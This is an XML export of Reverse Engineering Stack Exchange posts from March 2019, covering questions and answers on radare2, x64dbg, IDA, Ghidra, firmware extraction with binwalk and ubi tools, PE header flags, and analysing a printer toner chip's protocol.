  <row Id="20774" PostTypeId="1" AcceptedAnswerId="20777" CreationDate="2019-03-04T14:29:59.357" Score="1" ViewCount="795" Body="&lt;p&gt;I am using radare2 for disassemble an x86 binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 ./mynbinary&#xA;[0x00001000]&amp;gt; aaa&#xA;...&#xA;[0x00001000]&amp;gt; pdf&#xA;            ;-- section..text:&#xA;            ;-- section.LOAD1:&#xA;            ;-- rip:&#xA;/ (fcn) entry0 53&#xA;|   entry0 ();&#xA;|           ; UNKNOWN XREF from 0x00001000 (entry0)&#xA;|           0x00001000      e800000000     call loc.suite              ; [15] m-r-x section size 53 named LOAD1&#xA;            ;-- suite:&#xA;|           ; CALL XREF from 0x00001000 (entry0)&#xA;|           0x00001005      48b968656c6c.  movabs rcx, 0x3332316f6c6c6568&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see it works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i am doing the same thing, on the same binary but with -d option in order to debug the binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7ff5a7183210]&amp;gt; aaa&#xA;...&#xA;[0x7ff5a7183210]&amp;gt; pdf&#xA;p: Cannot find function at 0x7ff5a7183210&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why it does not work in debuging...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2019-03-04T20:22:30.733" Title="debugging with radare2" Tags="|x86|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20776" PostTypeId="1" CreationDate="2019-03-04T15:19:12.177" Score="1" ViewCount="1324" Body="&lt;p&gt;I'm learning reverse engineering and I'm trying to find where an error message is called.&#xA;I want to get in the part of the code, in the main module, where it decides to display the error message or the succeed message, but I'm having problems tracing back to the function call because I get in a point of nowhere.&#xA;This is what I do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set breakpoint on MessageBoxW&lt;/li&gt;&#xA;&lt;li&gt;Breakpoint on MessageBoxW&lt;/li&gt;&#xA;&lt;li&gt;See the stack for the return address or run till return&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But the address I get is something like: system.windows.forms.ni.123456.&#xA;If I keep tracing back I get in a point of nowhere (somewhere in user32.dll).&#xA;Hopefully someone has a better way to trace back this function or its familiar with &quot;system.windows.forms&quot; and can explain me how it works.&lt;/p&gt;&#xA;" OwnerUserId="27415" LastActivityDate="2020-02-25T16:03:05.467" Title="Trace back function call" Tags="|disassembly|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20777" PostTypeId="2" ParentId="20774" CreationDate="2019-03-04T20:22:30.733" Score="2" Body="&lt;p&gt;The issue is that address &lt;code&gt;0x7ff5a7183210&lt;/code&gt; is not part of your binary but rather part of the kernel code that will run your code. So running &lt;code&gt;aaa&lt;/code&gt; will not create any functions there. What you need to create a breakpoint in your code (i.e running &lt;code&gt;db main&lt;/code&gt;) and only when your breakpoint is hit you could run &lt;code&gt;pdf&lt;/code&gt; and it should should show you the disassembly.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-03-04T20:22:30.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20780" PostTypeId="1" CreationDate="2019-03-05T01:09:34.633" Score="8" ViewCount="4478" Body="&lt;p&gt;I need help identifying a chip and how to reset it from a new Brother's toner cartridge TN227 and TN223. This comes from the new Brother HL-L3230CDW laser printer.&lt;/p&gt;&#xA;&lt;p&gt;There is currently no information on how to reverse engineer these chips to reset them, so I decided to investigate further, however I'm currently stuck.&lt;/p&gt;&#xA;&lt;p&gt;Here are some pictures of the starter TN223 chip that my printer came with:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y9LyP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y9LyP.png&quot; alt=&quot;Pads of chip with numbers I added&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8j7Km.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8j7Km.jpg&quot; alt=&quot;Back of Chip&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I5yI9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I5yI9.jpg&quot; alt=&quot;Light shining through chip&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The pictures are shown as following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pads of chip with numbers I added&lt;/li&gt;&#xA;&lt;li&gt;Back of Chip&lt;/li&gt;&#xA;&lt;li&gt;Light shining through chip&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I then opened the printer to determine which pins go to what. I first used a multi-meter to determine that pads 2,3,4 are shorted to each other on each chip for each color C, Y, M, BK. I then found pad 2 was shorted to the printer frame, so I assumed that was ground. Then I looked at the wiring color. It's matched as the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1: purple, 2: white, 3: black, 4: red&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When I attempted to measure any voltages from any of the pads during power-on, I was unable to measure anything.&lt;/p&gt;&#xA;&lt;p&gt;I then connected a logic analyzer to the printer with the chip attached to see if I could figure out what protocol it was using. Assuming white is GND, Here's a sample of the Sigrok Pulseview  received:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/teNVF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/teNVF.png&quot; alt=&quot;sample data assuming pad 2 is ground&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J1teS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J1teS.png&quot; alt=&quot;zoomed in on start of data&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I ran the test twice and attached the Sigrok file results &lt;a href=&quot;https://drive.google.com/file/d/1LRBKmhKruzNNKLFl359ab0C8VVCKJCxc/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://drive.google.com/file/d/1aRRibu_b7KzSSxnMR3Ef6y35k-U_M7-N/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;These can be opened in Pulseview (free program) for a graphical representation of the data&lt;/p&gt;&#xA;&lt;p&gt;It appears that the data is only sending when pad 4 goes high, I assume this is VCC. I then measured the voltage from pad 4 when communication occurs using an arduino and measured 3.3V. I now assume the chip is using 3.3V logic.&lt;/p&gt;&#xA;&lt;p&gt;I still don't know if the pad 2 is GND since pad 3 is black which usually indicated ground, however as previously stated pad 2 is shorted to the frame of the printer.&#xA;I then attempted to connect pad 3 as GND to my logic analyzer and connect pad 2 as not ground, however something strange occurred, and the printer no longer accepted the cartridge I was messing around with. Going back to pad 2 as ground, and it started working again. I'm now assuming pad 2 is ground.&lt;/p&gt;&#xA;&lt;p&gt;When investigating the data further, there seems to be a little difference between two runs. I simply turned the printer on and recorded data then immediately turned it off then back on to get my second run, however the data seemed to change slightly. To ensure it wasn't due to sampling error, I increased the sampling to 20 MHz, which includes about 20 samples per clock cycle which should be sufficient to measure the wave forms consistently.&#xA;When measuring the clock rate, I found it to be between 432-457Khz.&lt;/p&gt;&#xA;&lt;p&gt;One idea I currently have is to analyze the data and find the ASCII text &amp;quot;brother&amp;quot; since each chip is required to have a manufacturing name and because the cartridges I have are from brother. More info can be found in &lt;a href=&quot;http://update.brother.co.jp/pbj/pdf/en/Brother_White_Paper_Genuine_Authentication_Inkjet_EN.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brothers white paper&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure the best approach to analyze the binary data, since I can't identify the communication protocol, and I'm concerned that it might be encrypted. After searching patents to see if I could find more info on the chip, this was all I could find:&#xA;&lt;a href=&quot;http://www.freepatentsonline.com/y2013/0070279.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.freepatentsonline.com/y2013/0070279.html&lt;/a&gt;&#xA;This suggests that the chip may be using crypto to hide info on the chip. If so, would it possible to crack it?&lt;/p&gt;&#xA;&lt;p&gt;I tried analyzing the data as if it were I2C, but this doesn't seem right, Also I'm pretty sure it's not SPI. I do know there's a clock involved, so I know it has to be synchronous, but any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="27667" LastEditorUserId="37138" LastEditDate="2021-12-06T19:14:25.490" LastActivityDate="2021-12-06T19:14:25.490" Title="Identifying a toner chip and its communication protocol to re-program it" Tags="|hardware|serial-communication|cryptanalysis|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20781" PostTypeId="1" AcceptedAnswerId="20785" CreationDate="2019-03-05T10:21:20.063" Score="0" ViewCount="92" Body="&lt;p&gt;How can these pe attributes be used to identify malware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going though a paper &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/malicious/attributes-malicious-files-33979&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; at page 10 he mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;BYTES_REVERSED_HI and BYTES_REVERSED_LO both make ideal candidates as a primary indicator due to the significant detection rate with a low false positive rate&quot;&lt;/p&gt;&#xA;" OwnerUserId="27672" LastEditorUserId="27672" LastEditDate="2019-03-05T10:49:49.937" LastActivityDate="2019-03-05T15:58:50.453" Title="what does BYTES_REVERSED_HI and BYTES_REVERSED_LO in an PE signify" Tags="|malware|pe|static-analysis|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20782" PostTypeId="1" AcceptedAnswerId="20784" CreationDate="2019-03-05T13:12:16.160" Score="0" ViewCount="420" Body="&lt;p&gt;I am not sure if IDA is working correctly or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the instructions &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call $+5&#xA;pop edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand this correctly, the program will jump forward, skipping some junk interpreted as instructions by IDA. To calculate where the execution continues, I have to get the location of &lt;code&gt;pop edi&lt;/code&gt; (00002504), undefine everything after &lt;code&gt;pop edi&lt;/code&gt;, and redefine as code at the location of &lt;code&gt;pop edi&lt;/code&gt; + 5 (00002509) , or at least that's what I understood from searching here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem is that when I undefine everything after &lt;code&gt;pop edi&lt;/code&gt;, IDA freaks out and does not undefine anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the experience I have, when doing this I noticed that all the instructions after the undefine are well, undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not happen. Here are some pictures to show this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LwlHi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwlHi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After undefining:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Jfi1d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jfi1d.png&quot; alt=&quot;After undefine&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening here?&lt;/p&gt;&#xA;" OwnerUserId="26890" LastActivityDate="2019-03-05T15:50:02.623" Title="IDA Pro not undefining assembly?" Tags="|ida|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20783" PostTypeId="2" ParentId="20782" CreationDate="2019-03-05T15:01:47.190" Score="0" Body="&lt;p&gt;The code &lt;strong&gt;is&lt;/strong&gt; being undefined but it’s immediately converted back to instructions because of autoanalysis. It just happens very quickly so that you may not notice it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your initial premise is incorrect. &lt;code&gt;$&lt;/code&gt; refers to the address of the current instruction so &lt;code&gt;call $+5&lt;/code&gt; jumps to the &lt;code&gt;pop edi&lt;/code&gt; instruction itself and not somewhere after it. So there is no need to “fix” anything&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-05T15:01:47.190" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20784" PostTypeId="2" ParentId="20782" CreationDate="2019-03-05T15:50:02.623" Score="1" Body="&lt;pre&gt;&lt;code&gt;call $+5&#xA;pop edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code basically retrieves the address of the &lt;code&gt;pop edi&lt;/code&gt; instruction into edi. The reason why this works is simple. &lt;code&gt;call&lt;/code&gt; does two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;push the &lt;em&gt;next instruction's&lt;/em&gt; address onto the stack&lt;/li&gt;&#xA;&lt;li&gt;jump to the address given in its operand&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;$+5&lt;/code&gt; just means &quot;current position + 5&quot; and the length of this call instruction is 5 bytes, so it jumps to &lt;code&gt;pop edi&lt;/code&gt; after pushing the &lt;em&gt;address&lt;/em&gt; of &lt;code&gt;pop edi&lt;/code&gt; on the stack. And then &lt;code&gt;pop edi&lt;/code&gt; fetches that address from the stack into edi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why would you do that? Because sometimes you don't know where your code is located but need to supply an absolute address to someone. If you write code you can easily tell relative offsets, say that a string is 500 byte from the start of your code block. To get an absolute address you then use the &lt;code&gt;call pop&lt;/code&gt; trick to get some anchor point and then can add whatever offset to it to turn it into an absolute address without having to know the code's location at runtime.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-03-05T15:50:02.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20785" PostTypeId="2" ParentId="20781" CreationDate="2019-03-05T15:58:50.453" Score="1" Body="&lt;p&gt;I actually think this is a good and valid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I think the answer here is - it is because it is. What I mean is that they analyzed a bunch of samples, separated them into malicious/benign, and then found out that when these flags are set it's almost always malware, so it makes a good indicator because they observed it to be a good one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of a logical reason. It's probably a field nobody sets on purpose in legit software. Maybe some packers or whatever sets the field in order to alter the files' checksum? Google says those flags are obsolete so setting them should not have any effect at all, but it would change a file's checksum.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-03-05T15:58:50.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20786" PostTypeId="2" ParentId="20771" CreationDate="2019-03-05T16:10:37.460" Score="2" Body="&lt;p&gt;I grabbed some &lt;code&gt;crush32.dll&lt;/code&gt; from the Internet and it has some very interesting exports:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;cxBufDecrypt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cxCompressFile&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cxExpandFile&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cxBuf2BufCompress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cxBuf2BufExpand&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd set a breakpoint on all of them, let your program run, wait for a bp to hit, inspect the stack arguments to find input/output buffers, let the function run and then look for readable data.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-03-05T16:10:37.460" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20787" PostTypeId="1" CreationDate="2019-03-05T16:36:04.547" Score="0" ViewCount="476" Body="&lt;p&gt;I'm trying to get the GPS lat/long data from a UDP message.  It's captured on a radio dispatch console on a P25 radio system, if that helps.&lt;br&gt;&#xA;I captured this UDP message when I sent a simulated emergency from my device, which is supposed to send my user ID and lat/long coordinates.  On the console it shows my user ID and my lat/long so I know it's getting to the console.&#xA;The picture is of the UDP message captured on Wireshark.  My user ID is clearly there, so I know its my message, I'm pretty sure it contains the GPS coords, and I'm not sure how to decipher those.  (I've redacted some identifying info fro security by the way).&#xA;The coordinates as rendered on the console are Lat: &lt;strong&gt;34°2'56&quot;&lt;/strong&gt; and Long: &lt;strong&gt;118°10'15&quot;&lt;/strong&gt; West, and my user ID is 00180011.  In the picture you can see I identified what might be the most significant part of the lat/long degrees, 34 and 118, but I can't get the following bytes to match the minutes and seconds.  I've tried a couple of conversion techniques from hex to lat/long, but none of my answers are making sense.&lt;br&gt;&#xA;I converted the lat/long to decimal 34.0489 and 118.1708, but can't get any further.&lt;br&gt;&#xA;Thanks for the help.         &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W9jIm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9jIm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27676" LastActivityDate="2019-03-05T16:36:04.547" Title="Decipher hexadecimal GPS coordinates from UDP message" Tags="|hexadecimal|wireshark|radio-interception|gps|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20788" PostTypeId="1" AcceptedAnswerId="20790" CreationDate="2019-03-05T21:55:07.763" Score="1" ViewCount="1375" Body="&lt;h1&gt;TL;DR:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Trying to mount extracted ubi file system onto /dev/mtd0 gives me the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libscan: scanning eraseblock 323 -- 100 % complete  &#xA;ubiformat: 324 eraseblocks are supposedly empty&#xA;ubiformat: error!: file &quot;340D04.ubi&quot; (size 42467348 bytes) is not multiple of eraseblock size (131072 bytes)&#xA;           error 0 (Success)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get that thing flashed?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Longer version:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I am looking to reverse the firmware for an Arris modem firmware, comparing older versions of the firmware to newer ones. I want to get access to the webroot of the little web server that runs the firmware because I think there is a bug in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this older version, binwalk gives me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; binwalk spTurquoise210-700_1.6.9.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;544           0x220           Certificate in DER format (x509 v3), header length: 4, sequence length: 985&#xA;1533          0x5FD           Certificate in DER format (x509 v3), header length: 4, sequence length: 1246&#xA;3332          0xD04           JFFS2 filesystem, little endian&#xA;3411204       0x340D04        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extracting this &lt;code&gt;binwalk -e spTurquoise210-700_1.6.9.bin&lt;/code&gt; yields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;total 166M&#xA;drwxr-xr-x 3 root    root    4.0K Mar  5 16:10 .&#xA;drwxr-xr-x 4 michael michael 4.0K Mar  5 16:10 ..&#xA;-rw-r--r-- 1 root    root     43M Mar  5 16:10 220.crt&#xA;-rw-r--r-- 1 root    root     39M Mar  5 16:10 340D04.ubi&#xA;-rw-r--r-- 1 root    root     43M Mar  5 16:10 5FD.crt&#xA;-rw-r--r-- 1 root    root     43M Mar  5 16:10 D04.jffs2&#xA;drwxr-xr-x 3 root    root    4.0K Mar  5 16:10 jffs2-root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The contents of jffs2-root don't reveal the webroot. I have mounted the D04.jffs2 image, and it appears to be identical to the extracted jffs2-root directory contents. It appears to be the upgrader that flashes the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I figure I'll check the 340D04.ubi image. To mount that and check it, I:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; rmmod mtdram&#xA;&amp;gt; du -sk 340D04.ubi&#xA;39812   340D04.ubi&#xA;&amp;gt; modprobe mtdram total_size=39812&#xA;&amp;gt; flash_erase /dev/mtd0 0 0&#xA;&amp;gt; ubiformat /dev/mtd0 -f 340D04.ubi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's where I've hit a problem. The output of the ubiformat command is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libscan: scanning eraseblock 323 -- 100 % complete  &#xA;ubiformat: 324 eraseblocks are supposedly empty&#xA;ubiformat: error!: file &quot;340D04.ubi&quot; (size 42467348 bytes) is not multiple of eraseblock size (131072 bytes)&#xA;           error 0 (Success)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out how to flash the ubi file system onto the mtd0 device so I can (later) mount it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Images:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gateway.c01.sbcglobal.net/firmware/001E46/BGW210-700_1.6.9/spTurquoise210-700_1.6.9.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;v1.6.9&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gateway.c01.sbcglobal.net/firmware/001E46/BGW210-700_1.8.18/spTurquoise210-700_1.8.18.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;v1.8.19&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27677" LastActivityDate="2019-03-06T02:57:25.793" Title="Reversing Arris BGW210 firmware" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20789" PostTypeId="2" ParentId="20772" CreationDate="2019-03-06T02:24:55.993" Score="3" Body="&lt;p&gt;It is a CRC-A checksum. 16bits.&#xA;Preface: From my research this is the crc for that standard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its calculated from start of packet up to checksum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crccalc.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crccalc.com&lt;/a&gt;&#xA;Put 8209 and check the result: 3C1D. This is byte swapped due to endian. Probably why you didn't find it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need help, be happy to help code it.&#xA; Here is a c++ implementation of the calculation:&#xA;&lt;a href=&quot;https://github.com/pkourany/MFRC522_RFID_Library/blob/master/src/MFRC522.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pkourany/MFRC522_RFID_Library/blob/master/src/MFRC522.cpp&lt;/a&gt;&#xA;This is the Arduino library for the NFC chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers &lt;/p&gt;&#xA;" OwnerUserId="18726" LastEditorUserId="18726" LastEditDate="2019-03-06T03:39:48.443" LastActivityDate="2019-03-06T03:39:48.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20790" PostTypeId="2" ParentId="20788" CreationDate="2019-03-06T02:57:25.793" Score="2" Body="&lt;p&gt;ubireader_extract_files from &lt;a href=&quot;https://github.com/jrspruitt/ubi_reader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jrspruitt/ubi_reader&lt;/a&gt; can extract the UBI if it is padded with zeroes to the expected size.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-03-06T02:57:25.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20791" PostTypeId="1" AcceptedAnswerId="20792" CreationDate="2019-03-06T08:53:06.150" Score="5" ViewCount="4581" Body="&lt;p&gt;I am currently trying &lt;a href=&quot;https://www.ghidra-sre.org/&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt; and, I am looking at a specific function. I have the assembly code and the decompiled version of it. But, I am looking to see if I can have it as a CFG...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone has a clue on how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gGnoV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gGnoV.png&quot; alt=&quot;Ghidra screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-03-06T09:12:56.677" Title="How to display the CFG of a function in Ghidra?" Tags="|disassembly|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20792" PostTypeId="2" ParentId="20791" CreationDate="2019-03-06T09:01:50.653" Score="10" Body="&lt;p&gt;Try &lt;code&gt;Window&lt;/code&gt; -&gt; &lt;code&gt;Function Graph&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its even conveniently zoomable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eYEVh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYEVh.png&quot; alt=&quot;interface&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="53" LastEditDate="2019-03-06T09:12:56.677" LastActivityDate="2019-03-06T09:12:56.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20793" PostTypeId="5" CreationDate="2019-03-06T09:17:33.727" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; is a reverse engineering tool created by NSA's Research Directorate and made available to the public in March 2019. One reason for the public release is assumed to be to harness community efforts and resources into the advancement of Ghidra, as it has been &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;open sourced&lt;/a&gt;, documented through a &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; and users are encouraged to report issues and contribute. It provides a disassembler and a &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/Decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;decompiler&lt;/a&gt; among other reverse engineering capabilities, integrated into a single tool.&lt;/p&gt;&#xA;&lt;h2&gt;Related Links&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download software package, slides and exercises&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source Code at GitHub&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;Issue tracker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ghidra-sre.org/InstallationGuide.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Installation Guide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ghidra-sre.org/CheatSheet.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Sheet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2022-11-16T10:29:48.917" LastActivityDate="2022-11-16T10:29:48.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20794" PostTypeId="4" CreationDate="2019-03-06T09:17:33.727" Score="0" Body="Use this tag when asking questions related specifically to the NSA's Ghidra reverse engineering tool." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-03-06T09:17:33.727" LastActivityDate="2019-03-06T09:17:33.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
